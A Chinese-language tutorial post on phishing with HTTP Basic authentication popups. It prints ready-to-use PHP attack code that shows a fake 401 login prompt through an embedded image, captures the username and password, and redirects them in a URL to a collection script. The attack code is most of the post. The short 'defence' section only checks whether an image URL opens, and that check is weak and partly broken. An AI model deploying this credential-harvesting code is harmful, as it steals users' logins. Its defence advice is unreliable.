基礎認證釣魚攻擊與防范
首先大家回想一下,在訪問路由器的時候是不是會彈出這樣的一個彈窗讓你輸入帳號密碼登錄呢?沒錯,這就是最近很火的基礎認證。那我們如何用php來實現釣魚攻擊呢?
在php手冊中有以下代碼來演示基礎認證登錄。
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
首先定義HTTP頭為WWW-Authenticate,然后相應為401 這樣就可以構造一個簡單的基礎認證框。
基本流程,用戶訪問被污染服務器,服務器返回信息,瀏覽器訪問圖片地址,圖片服務器返回401響應,http頭為WWW-Authenticate ..... ,瀏覽器彈出基礎認證框, 由于Location:被定義為收信地址所以,瀏覽器跳轉并轉遞信息至收信地址。 攻擊完成。
貼出攻擊代碼吧。
<?php
$info=@$_GET['info'];
if(!isset($_SERVER['PHP_AUTH_USER'])){
header("WWW-Authenticate:BASIC Realm=$info");
header("HTTP/1.0 401 Unauthorized");
exit;
}else{
/*獲取用戶名,密碼進行驗證*/
$user=$_SERVER['PHP_AUTH_USER'];
$pwd=$_SERVER['PHP_AUTH_PW'];
extract($_GET,EXTR_SKIP);
if($user&&$pwd){
header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");
}else{
header("WWW-Authenticate:BASIC Realm=user");
header("HTTP/1.0 401 Unauthorized");
exit;
}
}
?>
防范措施:
由于這種攻擊并不是由漏洞造成的所以我們的防范手法只能去確定圖片地址是否為有效圖片。
我們可以用以下代碼來驗證圖片是否有效!
<?php
$url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';
if( @fopen( $url, 'r' ) )
{
echo 'File Exits';
}
else
{
echo 'File Do Not Exits';
}
?>